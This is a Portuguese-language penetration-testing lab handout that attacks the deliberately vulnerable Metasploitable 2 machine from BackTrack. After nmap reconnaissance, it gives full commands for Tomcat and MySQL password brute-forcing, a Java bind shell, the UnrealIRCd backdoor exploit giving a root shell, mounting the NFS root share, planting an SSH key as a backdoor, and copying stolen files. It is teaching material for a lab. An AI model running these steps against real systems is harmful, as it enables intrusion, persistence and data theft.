Aula Metasploit I. Escopo As estações responsáveis pelos ataques utilizam a distribuição GNU/Linux Backtrack 5 R3, uma distribuição GNU/Linux baseada no Ubuntu 10.04 LTS. Esta versão foi lançada em 13/Ago/2012 1, no momento a mais recente deste pacote de ferramentas. O sistema alvo utilizado neste exercício é o Metasploitable 2. Uma distribuição GNU/Linux desenvolvida especialmente para servir de alvo na execução de testes de segurança. Ela utiliza uma distribuição Ubuntu com diversas aplicações desatualizadas e mal configuradas. A versão utilizada foi lançada em 21/05/2012 2. Virtual Box O host com a instalação do Backtrack será executado como uma máquina virtual utilizando o Virtualbox. Abra a janela do Virtualbox, mas antes de executar o Backtrack clique com o botão direito sobre a máquina virtual e clique em Configurações: Na janela de Configurações, vá até a opção Rede e certifique-se de que o Adaptador 1 com a opção Conectado a: Placa em modo Bridge. Em avançado, clique algumas vezes no botão ao lado do campo Endereço MAC, garantindo dessa forma que todos possuam endereços MAC diferentes uns dos outros na mesma rede. Dica Sempre que aparecer x.x.x.x, substitua automaticamente pelo IP do host que será alvo do ataque. Quando x.x.x.y substitua pelo IP do host atacante (Backtrack). A representação do endereço x.x.x.0/24 identifica a utilização do IP da rede. 1 http://www.backtrack-linux.org/ 2 http://sourceforge.net/projects/metasploitable/ 1
No momento de executar algum comando, verifique se está no local correto. Quando o comando indicar o símbolo #, significa que você deve estar na linha de comando do Linux. Caso o comando indique outro prefixo, como por exemplo, mysql > ou msf >, você deve estar na linha de comando desse aplicativo. Comandos Básicos do Linux cat [arquivo] : lista o conteúdo do arquivo. cat /etc/issue : mostra detalhes sobre a distribuição utilizada. cd [pasta] : entra na pasta especificada. cp [origem] [destino] : copia um arquivo. cp -R [pasta_origem] [destino] : copia uma pasta e todo seu conteúdo. ls : listas arquivos e pastas em um diretório. ls -l : listar arquivos e pastas exibindo os detalhes. ls -la : listar arquivos e pastas incluindo ocultos. mkdir [pasta] : cria uma pasta com o nome indicado mv [origem] [destino] : move/renomeia arquivo ou pasta. passwd : altera a senha do usuário atual. passwd [login] : altera a senha de outro usuário. pwd : mostra o caminho da pasta atual. uname -a : mostra informações sobre o sistema. II. Mapeamento dos alvos Identificação de hosts ping Conforme ALI (2011), o ping é a ferramenta mais famosa para verificar a disponibilidade de um host. Seu funcionamento se dá pelo envio de pacotes ECHO REQUEST ao host de destino, caso o host em questão esteja disponível ele retornará um pacote ECHO REPLY, o protocolo utilizado é o ICMP (Internet Control Message Protocol). Em uma execução bem sucedida é possível verificar se um host conhecido está disponível. No exemplo abaixo foram enviados três pacotes ICMP ECHO REQUEST e todos os três foram respondidos (ICMP ECHO REPLY). A quantidade de pacotes é definida pelo parâmetro '-c'. # ping -c 3 x.x.x.x (IP do host alvo) PING x.x.x.x (x.x.x.x) 56(84) bytes of data. 64 bytes from x.x.x.x: icmp_seq=1 ttl=64 time=69.9 ms 2
64 bytes from x.x.x.x: icmp_seq=2 ttl=64 time=1.38 ms 64 bytes from x.x.x.x: icmp_seq=3 ttl=64 time=1.18 ms --- x.x.x.x ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2004ms rtt min/avg/max/mdev = 1.183/24.165/69.929/32.360 ms fping Quando não se conhece o endereço IP do alvo cuja disponibilidade deve ser testada, é preciso utilizar ferramentas capazes de gerar uma lista de endereços para o envio do ICMP ECHO REQUEST. O fping faz isso através do parâmetro '-g', no exemplo abaixo será utilizado também o parâmetro '-c 1' para enviar uma única solicitação para cada host da lista. Os comandos abaixo geram exatamente a mesma lista, o primeiro utiliza o endereço de sub-rede e o segundo utiliza um endereço inicial e final para a geração da lista. Escolha um e execute: # fping -c 1 -g x.x.x.0/24 (IP da rede alvo) # fping -c 1 -g x.x.x.1 x.x.x.254 (IP inicial e final da rede) Para cada host cuja resposta não for obtida é apresentada cada uma das linhas, conforme segue: ICMP Host Unreachable from x.x.x.x for ICMP Echo sent to x.x.x.y ------------------------------------- x.x.x.y : xmt/rcv/%loss = 1/0/100% Para cada host ativo, e respondendo a requisições, são geradas linhas como as que seguem: x.x.x.x : [0], 84 bytes, 5.80 ms (5.80 avg, 0% loss) ------------------------------------------------------- x.x.x.x : xmt/rcv/%loss = 1/1/0%, min/avg/max = 5.80/5.80/5.80 Analisando as linhas acima seria possível afirmar que o host x.x.x.y não está ativo e o host x.x.x.x está. Identificação dos Serviços nmap Para que o nmap identifique com mais precisão as informações do sistema alvo, é importante executar a atualização de sua base de dados com o comando abaixo: # nmap --script-updatedb O nmap também possibilita identificar os hosts disponíveis em uma rede utilize o comando abaixo: # nmap -sp x.x.x.0/24 A resposta do comando será algo como: Nmap scan report for x.x.x.x Host is up (0.00070s latency). MAC Address: 08:00:27:18:E5:1E (Cadmus Computer Systems) Nmap scan report for x.x.x.y Host is up. Nmap done: 256 IP addresses (2 hosts up) scanned in 33.95 seconds O parâmetro '-sp' solicita um Ping Scan, e retorna a lista de hosts ativos na rede especificada e ainda identifica o endereço físico da placa de rede (MAC Address). Compare a quantidade de hosts retornados 3
pelo comando fping e pelo nmap. O nmap localizou mais por utilizar o protocolo TCP, enquanto o fping utiliza o ICMP, protocolo bloqueado em diversos host para evitar ataques como o ping da morte. A forma mais simples de execução da ferramenta nmap para mapear os serviços em execução em um host é: # nmap x.x.x.x (IP do host alvo) A saída do comando será algo parecido com: Nmap scan report for x.x.x.x Host is up (0.0051s latency). Not shown: 977 closed ports PORT 21/tcp 22/tcp 23/tcp 25/tcp 53/tcp 80/tcp STATE SERVICE open ftp open ssh open telnet open smtp open domain open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 512/tcp open exec 513/tcp open login 514/tcp open shell 1099/tcp open rmiregistry 1524/tcp open ingreslock 2049/tcp open nfs 2121/tcp open ccproxy-ftp 3306/tcp open mysql 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 8009/tcp open ajp13 8180/tcp open unknown MAC Address: 08:00:27:18:E5:1E (Cadmus Computer Systems) Nmap done: 1 IP address (1 host up) scanned in 13.54 seconds Pela utilização padrão do nmap, a ferramenta testa cada porta apenas para verificar os serviços que estão em execução e monitorando cada uma das portas, porém sem completar a conexão. É como telefonar, esperar que atendam e desligar sem saber se quem atendeu foi uma pessoa ou uma secretária eletrônica. Portanto, o nome dos serviços sugeridos por ele são apenas suposições de acordo com o número da porta. Com o parâmetro abaixo, o nmap tenta capturar o nome do serviço que realmente está em execução nas portas do host alvo e suas respectivas versões: # nmap -sv x.x.x.x (IP do host alvo) A saída do comando será: Nmap scan report for x.x.x.x 4
Host is up (0.0059s latency). Not shown: 977 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd 53/tcp open domain ISC BIND 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) 111/tcp open rpcbind (rpcbind V2) 2 (rpc #100000) 139/tcp open netbios-ssn WORKGROUP) 445/tcp open netbios-ssn WORKGROUP) 512/tcp open exec 513/tcp open login 514/tcp open shell? 1099/tcp open rmiregistry 1524/tcp open ingreslock? Samba smbd 3.X (workgroup: Samba smbd 3.X (workgroup: netkit-rsh rexecd GNU Classpath grmiregistry 2049/tcp open nfs (nfs V2-4) 2-4 (rpc #100003) 2121/tcp open ftp ProFTPD 1.3.1 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5 5432/tcp open postgresql PostgreSQL DB 8.3.0-8.3.7 5900/tcp open vnc VNC (protocol 3.3) 6000/tcp open X11 6667/tcp open irc 8009/tcp open ajp13? 8180/tcp open http 1.1 (access denied) Unreal ircd Apache Tomcat/Coyote JSP engine O resultado deste comando é mais demorado pelo fato do nmap realizar uma conexão em cada uma das portas. Agora, com os nomes dos softwares em execução e suas respectivas versões, o conhecimento sobre o alvo aumenta. O nmap também pode tentar detectar o sistema operacional em execução no host alvo. Execute o comando abaixo e analise o resultado: # nmap -O x.x.x.x (IP do host alvo) Na saída desse comando, os serviços em execução são repetidos e ao final é apresentado o resultado do provável sistema operacional do alvo: Nmap scan report for x.x.x.x Host is up (0.0013s latency). Not shown: 977 closed ports PORT 21/tcp 22/tcp 23/tcp... STATE SERVICE open ftp open ssh open telnet 6667/tcp open irc 5
8009/tcp open ajp13 8180/tcp open unknown MAC Address: 08:00:27:18:E5:1E (Cadmus Computer Systems) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:kernel:2.6 OS details: Linux 2.6.9-2.6.31 Network Distance: 1 hop O comando acima retorna que o sistema utilizado é um Linux com kernel entre as versões 2.6.13 e 2.6.31. O Metasploitable 2 utiliza, mais precisamente, a versão 2.6.24 do kernel Linux, portanto o resultado está dentro da expectativa. Para um resultado ainda mais completo, teste o comando: # nmap -v -A x.x.x.x (IP do host alvo) Sua saída é a seguinte:... Nmap scan report for x.x.x.x Host is up (0.0044s latency). Not shown: 977 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 _ftp-anon: Anonymous FTP login allowed (FTP code 230) 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) ssh-hostkey: 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA) _2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd _smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, ssl-cert: Subject: commonname=ubuntu804- base.localdomain/organizationname=ocosa/stateorprovincename=there is no such thing outside US/countryName=XX Issuer: commonname=ubuntu804- base.localdomain/organizationname=ocosa/stateorprovincename=there is no such thing outside US/countryName=XX Public Key type: rsa Public Key bits: 1024 Not valid before: 2010-03-17 14:07:45 Not valid after: 2010-04-16 14:07:45 MD5: dcd9 ad90 6c8f 2f73 74af 383b 2540 8828 _SHA-1: ed09 3088 7066 03bf d5dc 2373 99b4 98da 2d4d 31c6 53/tcp open domain ISC BIND 9.4.2 dns-nsid: _ bind.version: 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) 6
_http-methods: No Allow or Public header in OPTIONS response (status code 200) _http-title: Metasploitable2 - Linux 111/tcp open rpcbind (rpcbind V2) 2 (rpc #100000) rpcinfo: program version port/proto service 100000 2 111/tcp rpcbind 100000 2 111/udp rpcbind 100003 2,3,4 2049/tcp nfs 100003 2,3,4 2049/udp nfs 100005 1,2,3 39334/udp mountd 100005 1,2,3 55482/tcp mountd 100021 1,3,4 39102/udp nlockmgr 100021 1,3,4 59488/tcp nlockmgr 100024 1 37315/udp status _ 100024 1 139/tcp open netbios-ssn WORKGROUP) 445/tcp open netbios-ssn WORKGROUP) 512/tcp open exec 513/tcp open login? 514/tcp open shell? 1099/tcp open rmiregistry 1524/tcp open ingreslock? 44437/tcp status Samba smbd 3.X (workgroup: Samba smbd 3.X (workgroup: netkit-rsh rexecd GNU Classpath grmiregistry 2049/tcp open nfs (nfs V2-4) 2-4 (rpc #100003) 2121/tcp open ftp ProFTPD 1.3.1 3306/tcp open mysql mysql-info: Protocol: 10 Version: 5.0.51a-3ubuntu5 Thread ID: 10 MySQL 5.0.51a-3ubuntu5 Some Capabilities: Connect with DB, Compress, SSL, Transactions, Secure Connection Status: Autocommit _Salt: ABf[xg{Tsd bwma86gcx 5432/tcp open postgresql PostgreSQL DB 8.3.0-8.3.7 5900/tcp open vnc VNC (protocol 3.3) vnc-info: Protocol version: 3.3 Security types: _ Unknown security type (33554432) 6000/tcp open X11 6667/tcp open irc (access denied) Unreal ircd irc-info: Server: irc.metasploitable.lan Version: Unreal3.2.8.1. irc.metasploitable.lan Lservers/Lusers: 0/1 Uptime: 0 days, 1:50:36 Source host: 80911CEB.D3975B40.7B559A54.IP _Source ident: OK nmap 7
8009/tcp open ajp13? 8180/tcp open http 1.1... Apache Tomcat/Coyote JSP engine MAC Address: 08:00:27:18:E5:1E (Cadmus Computer Systems) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:kernel:2.6 OS details: Linux 2.6.9-2.6.31 Uptime guess: 0.076 days (since Sun Oct 21 17:00:22 2012) Network Distance: 1 hop... Host script results: nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> Names METASPLOITABLE<00> Flags: <unique><active> METASPLOITABLE<03> Flags: <unique><active> METASPLOITABLE<20> Flags: <unique><active> \x01\x02 MSBROWSE \x02<01> Flags: <group><active> WORKGROUP<00> Flags: <group><active> WORKGROUP<1d> Flags: <unique><active> _ WORKGROUP<1e> Flags: <group><active> smb-os-discovery: OS: Unix (Samba 3.0.20-Debian) NetBIOS computer name: Workgroup: WORKGROUP _ System time: 2012-10-21 18:46:51 UTC-4 TRACEROUTE HOP RTT ADDRESS 1 4.44 ms 10.0.0.10... Este resultado é ainda mais demorado, porém com ele foi possível obter informações sobre versões de softwares não identificados anteriormente e detalhes sobre serviços específicos, como FTP, SMB entre outros. Com isso torna-se viável a exploração de falhas específicas das versões instaladas. Com este último comando foi possível identificar que o FTP aceita conexões anônimas, que a versão do Unreal ircd é a 3.2.8.1. Incluindo a identificação do sistema operacional e a possível versão do Kernel Linux. III. Identificação de vulnerabilidades Unreal IRC Com as informações obtidas no tópico anterior, agora é possível pesquisar quais softwares do host alvo possuem vulnerabilidades conhecidas. Como forma de exemplo, em uma rápida pesquisa no Google pelo termo Unreal3.2.8.1 exploit, obtêm-se como primeiro resultado a página do Metasploit, conforme tela abaixo: 8
Figura 1: Seção de exploits do site Metasploit Com este resultado é possível descobrir que esta versão do Unreal IRC possui uma Backdoor, e seu nível de exploração é categorizado como 'Excelente'. IV. Exploração Metasploit Metasploit é uma plataforma que fornece a infraestrutura para automatizar tarefas. Possui diversos módulos complementares e pode ser utilizado de diversas formas para auxiliar em um teste de invasão. (Kennedy et al. 2011) O Metasploit possui mais de uma opção de interface, utilizaremos o MSFConsole por ser o mais simples e versátil do framework (Kennedy et al. 2011), oferecendo diversos recursos e ferramentas. Com ela é possível executar exploits, carregar módulos auxiliares, efetuar varredura, enumeração e rodar exploits em massa contra alvos específicos ou redes inteiras. Primeiro acesso Antes de utilizar o metasploit é recomendado atualizar seu banco de dados com o comando abaixo: # msfupdate O comando abaixo entra na interface de console do Metasploit: # msfconsole Password guessing Tomcat O servidor Apache Tomcat é um servidor web Java. Sua execução foi identificada pela linha abaixo, gerada pelo nmap: 8180/tcp open http 1.1 Apache Tomcat/Coyote JSP engine Dentro do console do metasploit é possível utilizar o comando search para identificar os módulos disponíveis: msf > search tomcat Dentre vários resultados um deles será: 9
Name... Description auxiliary/scanner/http/tomcat_mgr_login... Tomcat Application Manager Login Utility Para fazer uso deste módulo utiliza-se o comando: msf > use auxiliary/scanner/http/tomcat_mgr_login Cada módulo possui parâmetros necessários à sua execução, com o comando abaixo é possível obter uma lista deles: msf auxiliary(tomcat_mgr_login) > show options Perceba que os parâmetros abaixo já estão preenchidos: PASS_FILE USERPASS_FILE USER_FILE Pode deixá-los como estão, no momento serão configurados apenas os parâmetros abaixo. Para cada parâmetro que deve ser configurado deverá ser utilizado o comando set: msf auxiliary(tomcat_mgr_login) > set RHOSTS x.x.x.x (IP alvo) msf auxiliary(tomcat_mgr_login) > set RPORT 8180 (Porta do Tomcat) Execute novamente o comando show options e verifique se os parâmetros foram corretamente preenchidos. Por fim é utilizado o comando exploit que executa o módulo contra o alvo especificado acima: msf auxiliary(tomcat_mgr_login) > exploit Este módulo executa um ataque por palavras de dicionário, utilizando os arquivos indicados nas variáveis indicadas acima. Neste ataque uma das combinações utilizadas poderá ser aceita pelo servidor:... [*] 192.168.1.100:8180 TOMCAT_MGR - [15/56] - Trying username:'root' with password:'root' [-] 192.168.1.100:8180 TOMCAT_MGR - [15/56] - /manager/html [Apache- Coyote/1.1] [Tomcat Application Manager] failed to login as 'root' [*] 192.168.1.100:8180 TOMCAT_MGR - [16/56] - Trying username:'tomcat' with password:'tomcat' [+] http://192.168.1.100:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] successful login 'tomcat' : 'tomcat' [*] 192.168.1.100:8180 TOMCAT_MGR - [17/56] - Trying username:'both' with password:'both' [-] 192.168.1.100:8180 TOMCAT_MGR - [17/56] - /manager/html [Apache- Coyote/1.1] [Tomcat Application Manager] failed to login as 'both'... A linha em destaque informa um login e senha aceitos, dessa forma outros ataques podem ser perpetrados: msf > use exploit/multi/http/tomcat_mgr_deploy msf exploit(tomcat_mgr_deploy) > set RHOST x.x.x.x msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat msf exploit(tomcat_mgr_deploy) > set RPORT 8180 Neste módulo é preciso utilizar o parâmetro PAYLOAD, para obter uma lista de payloads compatíveis com o módulo em questão utiliza-se o comando 10
msf exploit(tomcat_mgr_deploy) > show payloads Conforme Kennedy e outros (2011), payload identifica o código que o módulo deve executar e que deve ser entregue ao alvo. No caso será utilizado um prompt de comando feito em java e como o Tomcat é um servidor Java, o prompt será executado: msf exploit(tomcat_mgr_deploy) > set PAYLOAD java/shell/bind_tcp msf exploit(tomcat_mgr_deploy) > exploit O comando acima fornecerá um prompt de comando para o usuário tomcat que poderá executar programas e abrir arquivos aos quais ele possua acesso. MySQL É um dos Sistemas Gerenciadores de Banco de Dados (SGBD) mais populares do mundo. Possui uma versão distribuída como Software Livre e uma versão comercial. O atual responsável pelo seu desenvolvimento é a Oracle. Acesse o msfconsole e digite o comando abaixo: msf > search mysql São mostrados todos os módulos com a palavra mysql em seu nome, ou seja, os módulos que trabalham com esse banco de dados. Neste momento o módulo utilizado será o seguinte: msf > use auxiliary/scanner/mysql/mysql_login Liste os parâmetros necessários para executar este módulo: msf auxiliary(mysql_login) > show options Verifique os parâmetros disponíveis, preencha com as opções abaixo: msf > set RHOSTS x.x.x.x (IP destino) msf > set USERNAME root msf > set PASS_FILE /opt/metasploit/msf3/data/wordlists/unix_passwords.txt É possível listar os parâmetros novamente para verificar se estão preenchidos (show options). E então, execute o módulo: msf > exploit O módulo tentará se conectar ao banco de dados MySQL do host x.x.x.x utilizando o usuário root, primeiro com a senha em branco, em seguida com cada uma das palavras do arquivo unix_passwords.txt como senha. É possível ainda configurar o parâmetro USER_FILE com o arquivo abaixo, com isso todas as linhas do arquivo serão testadas como login. É um teste demorado, porém pode ser a melhor maneira de descobrir um login e senha válidos: /opt/metasploit/msf3/data/wordlists/unix_users.txt Agora abra outra janela de terminal e tente se conectar ao banco de dados utilizando o usuário root e a senha descoberta: (IP alvo) # mysql -h x.x.x.x -u root -psenha Alguns comandos úteis para obter informações de um banco MySQL Server. Liste os databases existentes: mysql> show databases; Escolha um database, por exemplo: 11
mysql> use owasp10; Liste todas as tabelas do database escolhido: mysql> show tables; A título de exemplo, liste os registros de uma das tabelas: mysql> select * from credit_cards; Agora liste os registros de uma das tabelas salvando o resultado no arquivo indicado: mysql> select * from credit_cards -> into outfile '/tmp/arquivo_[seunome].txt'; Um arquivo é gerado com o conteúdo da tabela, porém este arquivo está no host alvo. Ainda precisaremos copiá-lo para o computador local. Acesso ao prompt Unreal IRC Com o comando a seguir, é possível buscar os módulos com os exploits do Unreal IRC: msf > search unreal irc O módulo encontrado é: exploit/unix/irc/unreal_ircd_3281_backdoor Utilize o módulo: msf > use exploit/unix/irc/unreal_ircd_3281_backdoor Mostrar os parâmetros para sua utilização msf exploit(unreal_ircd_3281_backdoor) > show options Abaixo os parâmetros com a indicação de que são obrigatórios: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 6667 yes The target port Defina o host alvo com o comando: msf exploit(unreal_ircd_3281_backdoor) > set RHOST x.x.x.x Explorar: msf exploit(unreal_ircd_3281_backdoor) > exploit Resultado: [*] Started reverse double handler [*] Connected to x.x.x.x:6667... :irc.metasploitable.lan NOTICE AUTH :*** Looking up your hostname... :irc.metasploitable.lan NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead [*] Sending backdoor command... [*] Accepted the first client connection... [*] Accepted the second client connection... 12
[*] Command: echo aredlp8ml4sca5t6; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "aredlp8ml4sca5t6\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (x.x.x.x:4444 -> x.x.x.y:57897) at 2012-10-21 20:23:27 Acesso ao prompt de comando com permissões de administrador (no Linux, usuário root). Pastas compartilhadas NFS Uma das linhas do resultado do nmap indica que a porta 2049 está sendo utilizada. 2049/tcp open nfs (nfs V2-4) 2-4 (rpc #100003) Esta porta se trata do serviço de compartilhamento de arquivo NFS. Com o comando abaixo é possível verificar quais pastas estão sendo compartilhadas pelo protocolo: # showmount -e x.x.x.x (IP do host alvo) Export list for x.x.x.x: / * Com essa informação em mãos, é possível montar a pasta raiz do servidor em um ponto da máquina local: # mkdir /tmp/mnt # mount -t nfs x.x.x.x:/ /tmp/mnt -o nolock Com esta pasta compartilhada é possível copiar arquivos entre o computador invasor e o computador da vítima. Acesse a pasta tmp do host alvo: # cd /tmp/mnt/tmp Copie o arquivo gerado pelo comando SQL: # cp arquivo_[seunome].txt /root Manutenção do acesso SSH Primeiramente, tente conectar-se ao servidor da vítima por SSH: # ssh root@x.x.x.x O servidor pedirá a senha do usuário root, como não temos, não conseguiremos logar na máquina remota. Para que o login SSH funcione, gere uma chave SSH: # ssh-keygen Esta chave identifica o computador que você está utilizando. Adicione essa chave gerada como uma chave de confiança no servidor remoto, utilizando a pasta compartilhada que foi montada anteriormente: # cat /root/.ssh/id_rsa.pub >> /tmp/mnt/root/.ssh/authorized_keys 13
Agora tente logar novamente utilizando SSH: # ssh root@x.x.x.x Dessa vez a conexão torna-se possível devido à relação de confiança criada ao copiar a chave do host invasor para o host alvo. Com isso já temos uma backdoor sempre que precisar entrar no servidor remoto. Copiando arquivos De dentro do host invasor Copie um arquivo do host alvo para o host invasor utilizando a pasta compartilhada montada (/tmp/mnt): cp [origem] [destino] # cp /tmp/mnt/tmp/arquivo.txt /root É possível ainda copiar um arquivo utilizando o SSH: scp [origem] [destino] scp login@ip_alvo:/pasta/arquivo /pasta_local # scp root@x.x.x.x:/tmp/arquivo.txt /root De dentro do host alvo Agora vamos copiar um arquivo para o host invasor, estando dentro do host alvo. Para acessar o host Backtrack via SSH pela primeira vez, execute no Backtrack o comando: # sshd-generate # restart ssh Caso apresente erro no segundo comando, execute: # /etc/init.d/ssh restart A partir de agora o servidor SSH está habilitado no Bracktrack, podendo ser acessado para copiar arquivos com o comando abaixo: scp /pasta/arquivo login@x.x.x.y:/pasta # scp /home/user/[arquivo] root@x.x.x.y:/root Para desmontar a pasta compartilhada do servidor alvo, utilize: # umount /tmp/mnt Treino Acesse a pasta /home/user do host alvo e copie o arquivo.pdf e.txt para /root do Backtrack. Referências WILHELM, Thomas. Professional Penetration Testing: creating and operating a formal hacking lab. Burlington, Massachusetts: Syngress. 2010. Wiki Backtrack Linux. Getting started with OpenVas. 1 June 2011, at 23:25. <Acesso em: 09/03/2012>. Disponível em: http://www.backtrack-linux.org/wiki/index.php/openvas ALI, Shakeel & HERIYANTO, Tedi. BackTrack 4: Assuring Security by Penetration Testing. Packt Publishing. Packt Publishing: Birmingham, UK. 2011. 14
KENNEDY, David; O GORMAN, Jim; KEARNS, Devon; e AHARONI, Mati. Metasploit: The Penetration Tester s Guide. No Starch Press. San Francisco, CA. 2011. 15